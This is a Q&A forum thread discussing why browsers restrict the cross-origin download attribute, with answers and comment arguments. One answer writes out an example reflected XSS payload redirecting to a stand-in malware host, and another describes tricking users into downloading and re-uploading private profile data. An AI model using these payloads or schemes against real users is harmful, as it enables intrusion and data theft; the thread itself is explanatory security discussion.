9

The download attribute in an a element tells the browser to force the download of a file that otherwise would be interpreted by the browser. This is very convenient, since often users want to download a (e.g. jpg) file instead of having the browser visualise it.

<a href="link.jpg" download="myfile.jpg">Click here to download</a>

Some browsers block the download attribute when the file is not accessed by the same protocol, on the same host and over the same port. This to me sounds a bit pointless while it breaks a lot of good use cases to prevent something that can be circumvent in other ways.

What are the security implications that browsers try to protect? Any useful real example?

0

It is important not only in the a attribute but to others also. The reason to this is because it is looking to see if it comes from the origin which means the same host and the same port that is your website.

if in anyway you are vulnerable to an attack that uses your site it will block it. This may be useful if an attacker uses e.g. XSS to redirect and make a user download a malicious file. Thngs such as :

  • Malicious PDF file
  • Malware

    As an example :

www.super123site.com/hello.php?mesg=hello+world

Comes from same port as your site...

Attack Scenario :

www.super123site.com/hello.php?mesg=<script> window.location.replace(www.malware.com:8099/maliciousPdf.pdf)</script>

Diferent host, diferent ports, Blocked...

  • What does this have to do with the fact that you want to force a download? The problem you describe is a potential problem in the Web design, not over the fact you want to "force" a download instead of letting the browser interpret it. You are describing an XSS vulnerability, which is a different thing and, as you said, has nothing to do with the download attribute – user1156544 Sep 20 '18 at 10:32
  • If you have an XSS, you probably already have better ways of exploiting it (but indeed, maybe it's why browsers block that? I would have expect sources to consider this answer as "good") – Xenos Aug 19 at 7:51
0

This is actually described in the HTML living spec:

If the algorithm reaches this step, then a download was begun from a different origin than the resource being downloaded, and the origin did not mark the file as suitable for downloading, and the download was not initiated by the user. This could be because a download attribute was used to trigger the download, or because the resource in question is not of a type that the user agent supports.

This could be dangerous, because, for instance, a hostile server could be trying to get a user to unknowingly download private information and then re-upload it to the hostile server, by tricking the user into thinking the data is from the hostile server.

The scenario, described here is:

  • You are on my onlineexcel.attacker.com website that allows to make Excel files
  • You click a link in there, stating like "download your excel sheet". This is actually a link that downloads your facebook profile, say <a href="https://facebook/myprofile/" download="your-sheet-from-onlineexcel.xlsx">
  • Later on, you wish to restore your excel sheet/load it online, so you click the upload button of my è onlineexcel.attacker.com, say` and you select the file that you thought was from onlineexcel.attacker.com (because it was a link in there)
  • You actually have uploaded your FB profile to my website

So the hazard here is that user do not know whether link is downloaded from the same origin or not.

That's why spec advises:

Thus, it is in the user's interests that the user be somehow notified that the resource in question comes from quite a different source, and to prevent confusion, any suggested file name from the potentially hostile interface origin should be ignored.

But I suppose that since this is a bit difficult to properly tell to Mom-like users, then browsers preferred to block such downloads.

  • Thank you for the example. I think it is a valid attack as a whole, although I actually find it a bit unrelated to the download attribute (remember it is a "force download" instead of a "browser rendering") and it assumes a lot of things. In my opinion it is NOT VALID, and I'll explain why. If your attack is considered valid for the download attribute, then we should consider this attack valid too: a user goes to the page, which says "we have all your FB data, send us $2k or we will publish them. If you need a proof, click here". (cont) – user1156544 2 days ago
  • Then the user checks the link, which renders the personal data in the browser. The user sends the money to avoid trouble. This could happen now without the download attribute. Moreover, what if the file from FB is in a format that the browser cannot render? It WILL BE downloaded, even without the download attribute, so the attack will happen - would you find sensitive to forbid all Web links to different domains? (cont) – user1156544 2 days ago
  • No, it makes more sense to actually inform the user that the document is being downloaded from another domain rather than breaking functionality. So you see your example is not a "security issue" of the down attrribute, it can happen equally without using the download attribute. This is the main reason why I don't consider this attack valid, because it is not specific for the download attribute... As all other attacks I have seen, it is specific for the Web design itself. No links to external Websites are forbidden, why to do so with the download attribute? – user1156544 2 days ago
  • TLDR; Your actual example, using an Excel file, works EQUALLY both with the download attribute and without it. So it is NOT a valid specific security issue of the download attribute, but of the Web design. – user1156544 2 days ago
  • @user1156544 No, your verbose counter-example is not valid as the user will see it's FB's origin in their URL bar when they click the non-downloading link. The example is a (the) security issue of download attrribute, no matter "your" thoughts. Mitigation by disallowance is valid and safe(st). If you disagree with this implementation, I invite you to open an issue to browsers and suggest them something safer (if there is). – Xenos yesterday
-2

I can think of one potential security issue.

If I create an HTML file and you open it on the web page, it operates under the same origin restrictions as everything else.

If I can force you to download the HTML file, double clicking that file, or opening it from your browser, now has an origin of your local machine! Suddenly the potential for malice is much greater.

Corner cases

Corner cases The behavior of same-origin checks and related mechanisms is not well-defined in a number of corner cases such as for pseudo-protocols that do not have a clearly defined host name or port associated with their URLs (file:, data:, etc.). This historically caused a fair number of security problems, such as the generally undesirable ability of any locally stored HTML file to access all other files on the disk, or communicate with any site on the Internet.

Exploiting a Microsoft Edge Vulnerability to Steal Files

Is This a Realistic Threat? Or Is It a Theoretical Scenario?

Do you think an attacker could somehow convince a potential victim to download a HTML file and execute it?

Due to the existence of another attack vector, it turns out that this is not merely a theoretical scenario.

  • That doesn't really make sense. You don't need the download to be cross-origin for this to be possible. – Joseph Sible Aug 19 at 1:53
  • 1
    This isn't a vulnerability. The file: origin is more heavily restricted than web-based origins. – duskwuff Aug 19 at 2:36

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.